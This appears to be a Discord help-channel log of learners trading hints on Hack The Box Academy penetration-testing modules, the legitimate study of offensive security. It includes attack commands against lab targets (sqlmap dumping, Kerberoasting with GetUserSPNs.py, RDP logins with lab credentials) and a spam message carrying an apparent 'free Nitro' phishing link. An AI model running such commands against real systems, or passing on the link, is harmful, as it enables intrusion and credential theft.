Limited File Uploads, is it broken? The Upload bar is gone:

[soft carbon]

Thanks! I'll try

[undone girder]

Hey guys any help finding the web application running its part of skills assesment on Using Metasploit

[pliant summit]

hey in introduction to active directory module, guided lab part 1, am I creating a new group for the new hires in the first task or am I adding them to an existing one?

[crimson atlas]

Hey hey someone i can DM for a sanity check on File Upload Attack assessement ?

[distant stream]

||check the first picture: it show which app and the version in the comment||

[glad orbit]

DM me

[undone girder]

thanks!

[tiny ledge]

Any help on File Upload attacks: Skill Assessment, where am I supposed to get the info where the file gets uploaded?

[distant stream]

dm

[upper niche]

@sweet heroni figured it out thanks 🙂

[wise meteor]

Has anyone completed the AD Enumeration and Attacks Module?

[brave niche]

Hi im stuck with sqlmap essentials case 10 any hint ??

[pallid fulcrum]

You have generated a mut_password.list use it, feel free to DM if you need more hints

[rotund tinsel]

looking for a nudge on skill assessment Broken Authentication, please DM

[cunning notch]

Hey guys, anyone who finished Web Attacks - Skills Assessment that could give me a hand?

[rotund tinsel]

Hello, did you get help with skill assessment for broken authentication? I'm stuck and could use some advice if you have completed it. tyvm

[knotty hemlock]

Hi, I don't understand what I need to do at Attacking Common Services, Attacking RDP. I assume it is something like RDP Hijacking, but I cannot find any other RDP user..

[distant stream]

dm

[rustic sage]

aga sa

[sudden sable]

hi@all...:)..

i have questions about DNS zones....if i did a request (with dig or nslookup) how can i identify how many zones exists? i hope the question is understandable...:/...

[pallid fulcrum]

if you can't do a zone tranfert that it's often the case you need to do enumeration with tools and wordlits

[sudden sable]

hmm...okay...

[leaden quail]

Hey Guys, im struggeling with the File Upload Attack Skill Assessment. I have couple of working File extensions, Content types and File Signutares but im not able to find the right combination.

any hints?

[plush falcon]

Hello, is anyone doing the AD Enumeration and Attacks Module?

[distant stream]

dm

[west canopy]

@plush falcon i've completed it , do you need help? 🙂

[plush falcon]

Yes, can I dm you?

[west canopy]

sure

[rapid pine]

Looking for help on the Kerberoasting from Linux portion of AD enum and attacks module

[sudden ocean]

anyone any good with webrequests? im stuck on the POST one

[west canopy]

@rapid pine DM me 🙂

@sudden ocean DM if you still need help !

[rustic sage]

who wants help

dm

[ashen orbit]

I hacked all the boxes

[ashen orbit]

On the Zap fuzzer tutorial page, I found the flag, but it's saying it is wrong?

[tight mesa]

hey anyone who can successfully done the "proxying tools" section from using web proxies module

I'm doing what is described in the section with no success

and I'm not sure what can I doing wrong

[novel echo]

That message usually means you're using the wrong mode in hashcat

[lavish ember]

Hi, Im working on Attacking Common Applications - Skill Assessment 1
I've tried several exploits but they don't seem to work and the manager console is not accessible on the vulnerable app
Could I get some direction?

[lavish ember]

nvm i got it bc i tried harder 😈

[dire kayak]

@west canopy

[iron plaza]

Anyone finished the HTTP Headers flag request, using the Network tab in the browser devtools to see what requests are made? I can't seem to find it. So either there is an issue or I am blind. Need a bit of nudge, thanks.

[rustic sage]

Hey everyone, I'm stuck on Module 18. I'm able to SSH in, but it's not accepting my password.

[rustic sage]

Hello, i have question about SSRF from Server Side attack.

How do we know to refer to the file
internal_local.py and how do we know we are referencing internal.app.local?

I did this, but I would like to know where it came from

[peak creek]

Hello, I'm stuck on USING WEB PROXIES: Burp Intruder.
I get answer by using ffuf. But when I start attack with Burp, I get 408 response even if URL is correct.
Can somebody help me?

[rustic sage]

Hy, Target machine is not accessing using SSH , Timed out, what's the reason?

or when i use port number it's say connection is closed.

[rustic sage]

Hello someone have a minute? i have problem with SSRF in Server side module

[tight glen]

Did you check if the machine is still up? Sometimes you run out of time to use them

[rustic sage]

I did every thing, reload page , close and again sign in into academy.

[opal hull]

So just did the Web Service & API Attacks Skills Assessment, but completed it in a different way to how you are supposed to. Would love a nudge on how to complete it properly!??? Can anyone assist?

[rustic sage]

SOB!!! I just realized I wasn't connected to the VPN🤬

[wind gust]

has anyone done kerberoasting fromlinux?

im stuck like this nothing happens. Any ideas?

then says connection timed out

[lethal atlas]

what module is that from?

[wind gust]

attacking active directory

[lethal atlas]

i have not done that module but i have seen that used in a ctf event before. I wonder if you need the ip part.

i would think if the domain is in your /etc/hosts that you would not need to specify it

[wind gust]

im using their attack box

[wheat garden]

ANy one do windows privilege escalation module? Actually very early in the module section "communicating with processes.

For last question on that section seems I need to run a command accesschk.exe though it doesnt appear that its installed on the windows VM provided.

[west canopy]

@wheat garden check the directory C:\Tools\

[wheat garden]

Gracias senor. Yes running .\accesschk64.exe in that directory worked.

[ashen quiver]

Is it possible to have a full url encoding in fuzz ? The url encode does not do the same thing

[hazy grotto]

Identify one of the non-standard update services running on the host. Submit the full name of the service executable (not the DisplayName) as your answer.

I know the answer but I'm trying to figure out how to get it.

It says to use powershell but up until this point. I've used bash to RDP and SMBclient.

What am i missing? Can anyone explain the steps to get this answer for me?

[soft carbon]

Hi! I'm back with a question for the Skills Assessment - WordPress. When I got the target, there was a site without WordPress. After searching for information on it, I went to a site with the domain www.inlanefreight.com/ and checked it. And with the help of wpscan and in meta name="generator" I determined the version 5.6.8 Also, through the theme file, I got the theme version. But both answers are wrong. Am I trying to check the wrong resource again? There, in the links, there was also a link to blog.inlanefreight.local. Maybe you need to check it out? But the task is about public-facing a website. And if I understand correctly, blog.inlanefreight.local is only accessible over the local network.

Sorry if I'm asking stupid questions. I'm just new to this area.

I also found in one of the files in the accessible directory an entry similar to those that usually contain the HTB {Publ1c_D0cum3nt5_C@n_L3ak_Inf0} flag, but it also did not fit any of the questions

[shy solar]

Yup, you should be using the .local version of the site. You might need to add both to your /etc/hosts

[soft carbon]

Thank you!

[leaden quail]

Can i encode strings in Kali Linux on the shell with a special command?

[west canopy]

@leaden quail yes you can do base64 encoding by piping into the base64 command , and for url encoding there is the urlencode command

[fringe wedge]

Hello, I am stuck on the 'Using the Metasploit Framework' module, specifically the section 'Introduction to Metasploit'.

The question is "Which version of Metasploit is free and can be used only through a CLI?" and the answer is, obviously (or so I think), as described earlier in the module, Metasploit Framework. However, this answer does not seem to be accepted by the answer box.

I have tried pretty much every variation I can think of, such as 'Framework', 'framework', 'metasploit framework', 'community', etc., to no avail

I hope I am not missing something incredibly obvious -- does anyone know the correct answer?

[west canopy]

@fringe wedge try msfconsole 🙂

[fringe wedge]

Hahah wow, that is the last thing I would have thought of... Thank you!

[west canopy]

np!

[iron plaza]

I am doing the GET Web Request Exercise, where I need to use browser devtools to see what is the request it is sending when we search. Shouldn't there be a 'search.php' under the file column?

[west canopy]

@iron plaza i think we would have to actually navigate to /search.php

[iron plaza]

I did that with the curl and got the flag but based on what you said the question seems misleading: "Use the browser devtools to see what is the request it is sending when we search"

[west canopy]

I think it's because the browser devtools doesn't actually Fuzz for web content. Like we could visit a website and there might be a login.php page, or a contact.php page, but those would not show up unless we navigated to them directly (if that makes sense).

[iron plaza]

Thanks, as frustrating as it is you learn something new.

[summer lake]

Hi can anyone give a small nudge with attacking common services SMB?

[summer lake]

Hint here says a password list from the resource. Not sure where it is..

[simple merlin]

Module : BloodHound
Question : Find the percentage of users with a path to Domain Admin. Submit just the number as your answer (to two decimal points, i.e. 9.78).
Anybody ?

[rustic sage]

How do i start hacking

I have no idea what this is

[foggy furnace]

If you're here, you must have an idea already...

That is probably a question you should ask in community help or FAQ, but I think, not here.

[rustic sage]

ok

[idle kestrel]

Does anyone have any advice for the password attacks: password mutation question? I created the wordlist using the exact command on the page and I entered the right brute force command for the "sam" user, but it doesn't complete fast enough. I even tried using the max 64 threads like some people said, but the machine still runs out of time.

[distant stream]

Which service are you targeting? And also try to remove duplicates from the list

[rancid holly]

Hi in the using Metasploit Framework module, under the sessions section we have this question of privilege escalation
"The target system has an old version of Sudo running. Find the relevant exploit and get root access to the target system. Find the flag.txt file and submit the contents of it as the answer."
any idea how can I proceed?

[foggy furnace]

I haven't done this module but googling wouldn't help?

I have found things doing that, personally

[rancid holly]

I am looking but wasn't able to find anything good
the question says that the attack is related to older version of sudo, looked for attacks regarding that found one rapid7, but the meterpreter don't have pyhton command support

question itself suggests to find relevant exploit for this sudo bug, but currently not able to find one

[foggy furnace]

Well, you might have to wait for someone who's done the module already :/

[lone gull]

So I've found a few subdomains in the web fuzzing assessment but question 1 won't accept any ansers I input, any ideas?

[rustic sage]

The question asks for all the subdomains.

[lone gull]

Literally just inputted them there. Long day 😅

[rustic sage]

There is a way to figure out the version of sudo that is in use. I don't want to give away the answer but I wouldn't recommend searching "exploits for sudo." You're going to want to figure out the version of sudo and then exploits for that version

[foggy furnace]

I am looking for some help on the east - lab section of the Footprinting module. Could I DM someone?

[distant stream]

dm

[pliant crystal]

Looking for some guidance in the 'Vulnerability Assessment' course - Anyone familiar with where the pre-generated reports are located? Thanks!

[distant stream]

When you Login on Nessus under My Scans

[sweet heron]

Hey all! I can't seem to connect to rdp in the module "Active Directory Enumeration and Attacks", section "LLMNR/NBT-NS Poisoning - from Windows". Using xfreerdp /v:10.129.153.168 /u:htb-student /p:'Academy_student_AD!' I get a black screen, then the the console gets filled with [WARN][com.freerdp.client.x11] - xf_lock_x11_: [1] recursive lock from xf_process_x_events

vpn on and tried resseting the target.

[rancid holly]

@rustic sage thanks for the input, I tried sudo -V, that didn't work, I'll try to find with some other method

[brisk seal]

I just finished the intro module, what module should i go for next?

[west canopy]

@rancid holly try using the local_exploit_suggester

[forest parrot]

Discord free Nitro from STEAM
https://nitrosdicsords.xyz/login/nitro

[brisk seal]

Im conflicted between choosing windows fundamentals, getting started or learning process modules

[verbal shale]

Any body here from bay area?

Bar area California

Bay

[sweet heron]

I'd go into learning process, then getting started, then windows fundamentals. A lot of reading, but it will give you a good introduction before diving in the "real" content. (that's also the order I did)

[west canopy]

@brisk seal Getting Started is excellent, covers a very wide array of topics, but might be pretty difficult if you are new

[ruby wigeon]

Yeah everything in that module is fucked

I'm managing to get on to things with rdesktop for a few seconds at a time then it crashes and refuses to connect with any tools

really disappointing as the content of the module looks great but nothing actually works

[real hill]

can any one throw some light into hashcat module? I'm running out of options to try to crack this hash...

[sweet heron]

what wordlist and rules did you use?

[real hill]

rockyou wordlist, and rules... well, some of the built-in and some that appeared in the previous pages of the module

[real hill]

also guessing it's MD5, cause hashid is not very confident either

[sweet heron]

You can also check using hashes.com (and if lucky, it will even identified the password) to identified the hash type. Then, using rockyou, try using the rules in /usr/share/hashcat/rules. One of them should work (it had "common" in it I think)

[real hill]

lol it was on hashes.com, I'm still gonna try to crack it with hashcat haha, thank you 🙂

[west canopy]

@real hill i believe it's actually an NTLM hash. Feel free to DM if you need help !

[ashen quiver]

Hi everyone. I prefer owasp zap over burp mainly because it's free. However some encoding or not available with fuzz such as full URL encoding (which is not the same as URL encoding).
Do you have any workaround to suggest ?

[rustic sage]

Hello, do you have any hints for Intergalactic Post challenge? I am 95% sure it's SQL injection but tried hundres options how to bypas email or http headers to access the reverse shell via netcat but nothing is working:(

[idle kestrel]

I'm targeting ssh and duplicate passwords were removed with sort -u.

[distant stream]

Try ftp if possible is faster… Dm if still isn’t fast enough

[tough thunder]

is this the place to ask for a little help with a module?

im stuck on Attacking Common Services/Attacking SMB

i just dont understand how im supposed to get the password for jason

[idle kestrel]

FTP was faster, thx

If anyone is stuck on the password attacks: password mutation question, brute force FTP instead of SSH. It's faster and you get the same result.

[tough thunder]

is @drifting knoll

here?

[tranquil raven]

d

[tight mesa]

anyone who has completed Using Web Proxies module?

I'm really stuck under "proxying tools" section

[sweet heron]

Sure I can help. Where are you stuck? You can also DM.

[rustic sage]

I just completed this section so if you need help let me know!

fyi I couldn't get it working in ZAP, and once I used Burp (like the question says) I was able to see what was going on.

[undone timber]

https://www.tiktok.com/t/ZTdvHr3Uv/

https://www.tiktok.com/t/ZTdvHr3Uv/

https://www.tiktok.com/t/ZTdvHr3Uv/

[radiant dagger]

Module ACTIVE DIRECTORY ENUMERATION & ATTACKS, Living Off the Land
Utilizing techniques learned in this section, find the flag hidden in the description field of a disabled account with administrative privileges. Submit the flag as the answer.

I use some other easier way to get the flag rather than following the hint

If anyone could give me a nudge about how to reach it by the intend way, please DM me. Thank you!

[open spruce]

Hi

I’m still stucked on web requests - crud api

I followed what asked and even after I cannot see any flag

[wintry gorge]

Has anyone completed the Windows Privilege Escalation module? Im stuck on the Responder chapter

[ember token]

I’m still stuck at Linux fundaments

[real hill]

anyone knows why hashcat gives me errors when cracking the .cap files? There's not much margin for error, I'm following the module guide as is...

I'm getting the same errors in WSL2 and Powershell, lol

[wintry gorge]

for the mode you are using, you can see one example hash with "hashcat --example-hashes | grep -A 14 22000"

Perhaps it doesn't match the lines in the hashfile you are using?

[ashen quiver]

You can mp if you need

[coral sundial]

DM for assistance

[coral sundial]

DM if you still have issues or elaborate in the channel for assistance

[summer lake]

Hello can someone give me a nudge on SMB in common_services module please?

Would be great to pm 🙂

[sweet heron]

What module, what section? I'm not sure to understand your question.

[summer lake]

ok nope, i still need help.

Anyone can help with SMB , attacking common services?

[sweet heron]

sure, DM

[sweet heron]

For people struggling with that part (attacking common services, smb section): crackmapexec doesn't work for some reason. We got it working using msf smb_login brute force tool. An admin should check that or maybe update the module?

[mint pagoda]

You can DM me if you are still stuick at the Metasploit Module.

Need help on ACL Enumeration from Active Directory Enumeration & Attack. Q: What is the ObjectAceType of the first right that the forend user has over the GPO Management group?

[sweet heron]

I'm at ACL Abuse Primer section. Will get there eventually today if nobody else respond.

[mint pagoda]

Hope you get them all.

[distant stream]

dm if you still hang

[lucid mirage]

try to run it in pwnbox

[flat leaf]

@rustic sage27 - Thank you for the help with the 'Vulnerability Assessment' course.

[sweet heron]

I'm blocked at the last question. Trying to Get-DomainObjectACL for forend hangs after finding what I can do with user Dagmar... I've seen it in bloodhound, but don't know how to input the answer. Finally output the answer, nevermind!

[west canopy]

@wintry gorge try placing the .scf file in Department Shares\Public\IT

[blissful verge]

our Friday gift to y'all

[sweet heron]

Oh yeah!!

[rustic sage]

Hello! Sorry for the noob question! But how do I stop my first machine so I can move to my second? Sorry Im new and doing starter guide

Error!

You must stop your active machine before spawning another one.

[sweet heron]

The pwn box? Just keep using the same. Or there is a red button "terminate" if you need to close it.

[rough sun]

i cant connect to the academy vpn

[rustic sage]

Sorry I don't use pwnbox - I use normal OpenVPN for connection and I completed first task and when I go to 2nd task it says first machiene active even tho they say i completed full task

[rough sun]

any idea why my OpenVPN is not working

[rustic sage]

not sure srry, im noob as well to this

[sweet heron]

I'm not sure I understand what task you are talking of. You got a screenshot?

[rustic sage]

https://app.hackthebox.com/starting-point

i done the first task and completed

[sweet heron]

Is that from you own kali/parrot box?

[rustic sage]

when i go to task 2 it says

Error!

You must stop your active machine before spawning another one.

[rough sun]

Yep

I'm out of instances

[sweet heron]

Oh, You are not in the right discord. There is a starting point room. But, that just means you did not stop the last box. You can probably see it on top of your screen next to the search bar. Click on it and de-spawn it. Or go back to the last exercise you've done and turn off the machine.

[rustic sage]

I understand and im sorry for bad place to ask! i mean no harm and let me check pls

[sweet heron]

no no no, don't worry 😛

[sweet heron]

hmmm... I'm not sure how to help. Maybe try creating a new openvpn fle via the top right menu (with your username), vpn settings.

[main zenith]

Hello guys, me website got hacked and I need some help please

[rustic sage]

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.14.100 netmask 255.255.254.0 destination 10.10.14.100
inet6 fe80::c8ae:b329:991c:e8f8 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef:2::1062 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 6 bytes 528 (528.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 13 bytes 696 (696.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

how do i terminate?

[rustic sage]

ty! worked haha, i missed it

sudo killall openvpn worked 😄

[main zenith]

I need a hacking expert, I’ll pay you

Website hacking

[coral sundial]

#rules
4. Keep it legal.
Do not request, suggest, perform, promote or in other way or shape discuss illegal activities. We respect and follow the Discord ToS as well as the HackTheBox ToS, and do not hesitate escalating matters appropriately, if we deem it necessary. If in doubt, ask a Community Administrator before posting or don’t post it at all.

[main zenith]

Alright, it’s not illegal, I’m just looking for vulnerabilities on my website

Sorry I didn’t ask

[patent maple]

Hello
Pls I need help with the last section of the SQL injection module
I cant seem to figure out how to get the root flag
The website isnt vulnerable to SQLi

[twin gulch]

Hey guys, can anyone help me on windows fundamentals skill assessment?

[patent maple]

The module??

[twin gulch]

Nvm just succeeded it!

[pulsar yew]

hello

[rancid holly]

thanks @mint pagoda but I completed it

[shadow owl]

What's Up?

[vocal furnace]

Ok I don’t even know if I’m doing this correctly. I’m old limited computer knowledge. Started recently. I’ve completed intro to academy. Learning process and setting up. What would you all recommend for beginner modules. I’ve got stuck on a few modules bc I didn’t understand them. I don’t want to use YouTube if I don’t have to prefer to learn for myself. I feel YouTube is cheating lol.

Sorry new to discord as well

[shadow owl]

My advice: Start on any of the Modules of Tier 0 with Fundamental General knowledge.

[iron tartan]

I am in need of assistance with the Active Subdomain Enumeration section of the Information Gathering - Web Edition module. I need to answer the question "Find and submit the contents of the TXT record as the answer."

I am able to find a list of subdomains, but I am confused as how to properly query for TXT records

I tried to query all of the subdomains for TXT records, but I don't believe they gave me anything I was looking for

[west canopy]

@iron tartan DM me 🙂

[west canopy]

Anyone know why this route is showing as 172.16.4.0? I have it configured for 172.16.5.0.

[hollow knot]

@west canopy still need an answer or did you figure it out?

[west canopy]

@hollow knot I solved it. But there have been around ~5 sections so far I have ran into problems

[hollow knot]

may I DM you?

[west canopy]

sure

[haughty blade]

I'm having trouble executing the exploit for the first module in "Using the Metasploit Framework". Can anyone help me?

[west canopy]

@haughty blade DM me 🙂

[indigo briar]

/need some hack tools

someone give me ???

[unkempt hull]

hi guys, I am doing the active directory enumeration and attacks module, I don't quite understand Access Control Entities.

There is this example in the screenshot.

What does it mean if there is a permission entry with principal Angela Dunn?

Does that mean that the user "forend" allows Angela Dunn to read all properties.. etc,

or

forend is able to read Angela Dunn's properties.. etc?

[rancid holly]

I am having some problem with htb academy, not able to access the cheat sheet
where can I report it?

[glacial hill]

Hi Guys, can anyone help me on attacking common service - attacking DNS,I tried brute force with subbrute, dnsenum, subfinder,... but didn't work :(

[tight mesa]

@rustic sage I'm still stuck under proxying tools, could you give me a hint?

[rustic sage]

I’m not home at the moment but I’ll be back in 1-2 hours if you still need help.

If you copy and paste the commands from the other Metasploit tutorial earlier in the module and use Burp (with intercept on) it should work!

[tight mesa]

ok., I will do it and let you know if works or not, ty btw

[tight mesa]

I guess my issue is with proxychains because is not sending packets to Burp, I tested like this, (terminal ran) "proxychains firefox www.ipchicken.com" and firefox was opened and ipchicken reached but nothing happen in my burp, and under my proxychains.conf this lines are set up:
#socks4 127.0.0.1 9050
http 127.0.0.1 8080
https 127.0.0.1 8080

[near bolt]

Hey! Can anyone help me with the BROKEN AUTHENTICATION - Skill Assessment. Ive got the user enumeration and have found a user. I also know that the cookie is b64 encoded of the username hash. However, changing the cookie for the user 'su***rt' doesnt do the trick. Am I missing something? Can someone please help me in the right direction please?

[devout cliff]

working on broken auth and trying to write a python script with very little python experience. if anyone can help dm me

[lucid mirage]

Is anyone facing a problem of logging as victor? Dynamic Port Forwarding with SSH and SOCKS Tunneling

It's pretty much as the example. but I just can't rdp successfully.

[unique valve]

Hey @lucid mirage feel free to DM me for help.

[near bolt]

Can anyone respond to this as well please or DM me?

[rustic sage]

hi guys i need to know how do i get root permissions ?
i tried:

getprivs```
but didnt work

[native ether]

heello friends I am stuck on module Using Web Proxies and more precicely on exercise Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag. What I am doing on burp intruder is /$admin$/$.html$ with the common.txt list but I only get 404 messages. What am I doing wrong? thank you. Please dm me if you can help me

[wind gust]

anyone know why im getting this error

[west canopy]

@native ether your Fuzzing is a little bit off. Sec I'll DM you 🙂

[devout cliff]

he forgot to remove it jared i helped him out

but if you want to go down a rabbit hole with me on this script im trying to make for broken auth that would be cool

[west canopy]

for predicting the reset token?

[devout cliff]

ye

[west canopy]

oh man, as a python noob that section was a nightmare for me lol

[devout cliff]

i tried a few today and got frustrating after over an hour of furious error searches and not understand wtf was happening

the whole converting an integer to bytes thing is really confusing

[west canopy]

DM me!

@near bolt the username for the support user is actually support.xx , where xx is a country code. Once you find out the valid usernames (there is more than one), you want to filter the rockyou.txt wordlist for passwords that match the complexity requirements

[brittle timber]

Good Morning! i'm working on the cross-site scripting (xxs) module and tried to launch the target machine for Stored-xxs a few times but i keep getting error "Target failed to spawn". Anyone else running into issues with spawning machines?

[devout cliff]

yup same issue for me with 2 different modules as well, you can get the target to spawn eventually in my experience so far by refreshing and trying again about 10 times+ or so

ive @'d one of the staff in erratum, you can do the same if you want

[brittle timber]

Thanks 🙂

[spring girder]

I'm working through the "Intro to web proxies" academy module, and am having an issue using nmap with the "--proxies" switch

The scan works, but burp doesn't intercept the traffic

burp shows it is indeed listening on 127.0.0.1:8080

curl using proxychains does get intercepted by burp

My nmap command I type:

nmap --proxies http://127.0.0.1:8080 139.59.177.61 -p31669 -sC -sV

[devout cliff]

in broken authentication module section 'predictable reset token', if anyone knows how to solve the second question please dm me. it looks to me like not enough information is provided to solve

[devout cliff]

nvm i figured it out

[sage jackal]

Hey, I need some help on the COMMAND INJECTIONS module - Skills Assessment. Been stuck for hours 😅

[devout cliff]

@sage jackal dm me

[turbid hull]

Hello, i am doing the File Inclusion module, section : File Inclusion Prevention and i have a problem finding the answer to that : Edit the php.ini file to block system(), then try to execute PHP Code that uses system. Read the /var/log/apache2/error.log file and fill in the blank: system() has been disabled for ________ reasons.

Since, when i try to write on the file php.ini, it tells me than i am not allow to write... Same when i try to create a shell.php in the /var/www/html. If someone can only tell me it's normal and i have things to do before so i am sure it's not a bug or smt

[mighty pivot]

When doing Linux fundamentals using pwn box tried using a sudo command, noticed it said “htb-student is not in the sudoers file. This incident will be reported.” But what’s the point of the system saying this will be reported, does it view it as a mistake that htb-student isn’t in sudoers file and it will get looked at?

[snow rain]

Have you found the param vulnerable to command injection?

[spring girder]

@mighty pivot It isn't a HTB thing, it's a Linux thing. The OS, which is often going to be running on a large network with users of various permissions, is keeping track of who tries to do stuff they shouldn't. It's a canned message that basically says "It's been logged that you tried to use a command you aren't authorized for, and the network admin is going to see what you did"

In your case, it means nothing. Ignore it.

[mighty pivot]

That’s good to know, thank you for the explanation

[jagged zenith]

Hello guys

[spring girder]

Yo.

[jagged zenith]

Who is get certificate cbbh?

[sage jackal]

Just finished the module, thanks though!

[spring girder]

Anyone wanna take a stab at my Burpsuite/nmap/metasploit issue a few post earlier?

ok, maybe its 10 posts ago...

[tulip dew]

hello

[sweet heron]

Can't get the KRBTGT Account's NT hash using mimikatz for enumerating and attacking active directory module, child -> parent trusts attack from windows section.

Works on the next exercise with secretsdump.py from linux.

Actually, now I'm stuck at obtaining NTLM hash for the domain admin on the newly owned parent domain. (enumerating and attacking active directory module, child -> parent trusts section attack from linux section)

[pliant summit]

Hey guys in the getting started module, i understand that I need to scan a specific port and find what service and version its running. Ive done this and found it to be apache 2.4.41. Now I need to find an exploit and am given a few options, like metasploit, searchsploit, etc. How can I know which exploit in metasploit will work with this version without using each one and checking? Can I see which apache versions the exploit works on?

[rustic sage]

who wants a ip?

im bored so i grabbed one

just dm me for it

cya tm

[urban sage]

https://tenor.com/view/we-dont-do-that-here-black-panther-tchalla-bruce-gif-16558003

[pine bough]

they give a rating to the exploit (excellent , good etc..) try the ones with the best rating first

[pliant summit]

but how would I know the exploit works with my version

[pine bough]

the module probably have a check option

it'll tell u if the target is vulnerable

[pliant summit]

yea i know this but 1. not every exploit has this and 2. i would have to go through every exploit and check which is tedious and time consuming if there are 100s

[pine bough]

be more specific with ur version

to narrow it down

[pliant summit]

wym

[pine bough]

type in the whole version

of the service

[pliant summit]

so like

>search exploit apache 2.4.41

?

[pine bough]

yes

[pliant summit]

yea i tried, nothing pops up

[pine bough]

its supposed to be searchsploit

not search exploit

one word

[pliant summit]

oh i thought you meant in msfconsole

[pine bough]

nono

use searchsploit first

it'll tell u a msf module or a vulnDB link

[pliant summit]

searchsploit uses exploitdb database right?

[pine bough]

yes

[pliant summit]

okay so i got some

exploit title and paths

should i add -w ?

[pine bough]

wdym

[pliant summit]

the flag, to searchsploit

[pine bough]

the exploit should already be in msf

cuz its an easy module

[pliant summit]

how do you know its in msf

[pine bough]

cuz i did it-

a while ago but yes

[pliant summit]

ah so if you were to blind exploit this you wouldnt even know that lol

[pine bough]

yep xd

[pliant summit]

wait but there has to be a way can someone help

[distant stream]

dm if you are still stuck

[distant stream]

when are using ssh with port you have to use the -p parameter. ip:port doewsn't work...

[violet dagger]

[rustic sage]

so yall dont grab ip's oh

umm

[turbid hull]

resolved the problem by being root

Tough i had something bigger to do, i am so stupid

[hexed tartan]

hello, if anyone finished the shell & payloads module please dm me, stuck on the last question

[uncut raptor]

hi folks!
i'm new to the community. I'm stuck at the USING WEB PROXIES module (Burp Intruder), i can't seem to find the flag file fuzzing with Burp, the task was the following:
"Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag"

of course the wordlist is inmense for the speed of community burp, does anyone have suggestions ?

[devout cliff]

dm me

[zealous totem]

Hi guys, I was doing some testing in my internal lab and I need to do an exploit exploiting this CVE -> 2022-21427; I am sure that my MySql server is vulnerable being at version 5.7.37... Unfortunately I can't find any documentation on how to exploit it despite the fact that anyway in the nist references it talks about an easy vulnerability to exploit... Any advice on where to find an explanation on how to perform the exploit?

[naive ravine]

Hi all can someone give me a nudge on "Weak Bruteforce Protections" section of the "Broken Authentication" module?

https://academy.hackthebox.com/module/80/section/837

I am attempting question 2:

I have tried the following ip addresses so far:

||127.0.0.1, the web application's own public ip address and the public ip address of the ajax.googleapis.com||

Also, I am using the ||SecLists Default-passwords.csv ||wordlist

[devout cliff]

dm

[sturdy agate]

Hello, would anyone be able to give me a bit of help with the Password Attacks- medium module? I am stuck on the Passwd, Shadow & Opasswd section where it is asking to use the creds for -w to get the creds for root.

[real hill]

in the skill assesment for the hashcat module, after running hashid and hashcat for the kerberos hash, I get a weird output: a different hash from the inputed, what's happening?

[jagged zenith]

Hey guys

[distant stream]

Dm

[scarlet sapphire]

Attacking common services-easy
im really stack here i have found a valid user but i cant find which service to attack any hint

[distant stream]

Dm

[round lagoon]

Hey y'all, i'm on the attack tuning part of sqlmap essentials and i'm confounded w/ flag6, mainly understanding the prefix hint

[sweet heron]

I'm stuck on Active Directory enum and attacks skills assessment part I. Anyone available?

[west canopy]

@sweet heron sure, where are you stuck?

[sweet heron]

Quite at the beginning... If I understand right, for kerberoasting , I need to use getuserspns.py with valid creds. So I did a little password spraying and found something. But I only get "No Entries found!" I feel like I'm missing something... GetUserSPNs.py -dc-ip 10.129.202.146 INLANEFREIGHT.LOCAL/redacted

[west canopy]

which question is that?

[sweet heron]

The second one. "Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer"

[west canopy]

Gotcha. I was able to find the account using powerview 🙂

[stable sparrow]

Are you still stuck on this? I believe I'm super close to getting the flag, but I just can't get RCE.. Which part are you having troubles with?

[west canopy]

@naive ravine This question is tricky. Bruteforcing actually never works. Try just sending a regular HTTP request to the server (with either curl or burpsuite) with the added X-Forwarded-For header. Feel free to DM and i can go into more detail 🙂

[stable sparrow]

can somebody please lend a hand with Skills Assessment - File Inclusion 🙂

[kindred rain]

Hi! I´m currently on linux fundamentals, an d i'm trying to solve some questions, but i'm unable to understand this question:

What is the path to the htb-student's mail?

I could solve this questions:ç

Find out the machine hardware name and submit it as the answer.

What is the path to htb-student's home directory?

How can I find the path to htb-students mail?

[west canopy]

@kindred rain try running the command: env

[kindred rain]

Thanks a lot!!!

[west canopy]

np 🙂

[stable sparrow]

not sure if I'm doing something wrong - I managed to find the access.log file for the File Inclusion Skills Assessment challenge, but I can't get Server Log poisoning to work...

Having this exact issue, were you able to get it done 🙂

[rustic sage]

Dm me

[gloomy tangle]

Hi there! Stuck on the "Credential Hunting in Linux" section from "Password Attacks" module. I am on the question "Examine the target and find out the password of the user Will" I accessed kira's ssh account but do I need to find will's password looking on the configs, logs, etc.. files? I am losing my mind looking in files.

[gaunt scaffold]

https://www.linkedin.com/posts/yashshendge_securityprofessionals-cybersecurity-bugbountytips-activity-6939433190436540416-utzf?utm_source=linkedin_share&utm_medium=android_app

[tiny ledge]

Any help with this? - Use what you learned in this section to obtain the flag which is hidden in the environment variables. Answer format: HTB{String} - I have gained shell but there is absolutely nothing there, just /var/www/html/page.php and nothing has anything in them

[twilit wharf]

Network Traffic Analysis Module -> Tcpdump Fundamentals -> 3rd Question is either not working or I dont undestand something. Can I DM Someone?

[rustic sage]

heyo, having a hard time with : What's the contents of table flag4? (Case #4) - sqlmap enssentials

[twilit wharf]

Network Traffic Analysis Module -> Tcpdump Fundamentals -> 4th Question should also accept the same answer without sudo imo, since reading only requires the necessary privs to read the file

[twilit wharf]

nevermind I was writing the whole command and not the switches only lol

[rustic sage]

sqlmap -u http://138.68.188.223:30126/case4.php --data '{"id": 1}' --batch --dump
Worked, but looking at the hint provided it say that I must take a look into -r option .

[rustic sage]

[10:45:40] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable

am I missing something?

[10:48:44] [WARNING] GET parameter 'id' does not seem to be injectable

[fathom lotus]

would it be best to do all the academy modules first and then move on to the htb platform or do modules as I try to do machines?

[real hill]

how can I tell how many different zones there are with this?

[rustic sage]

i would say academy is more for special learning, example you wanna learn how to privesc on linux because you are struggling on that go for the module.

if you are starting starting start from the starting point

[twilit wharf]

I like to mix it up. Sometimes I feel more like doing challenges, sometimes more like learning/reviewing something in depth 🙂

[rustic sage]

same ^ doing only academy is boring

[acoustic owl]

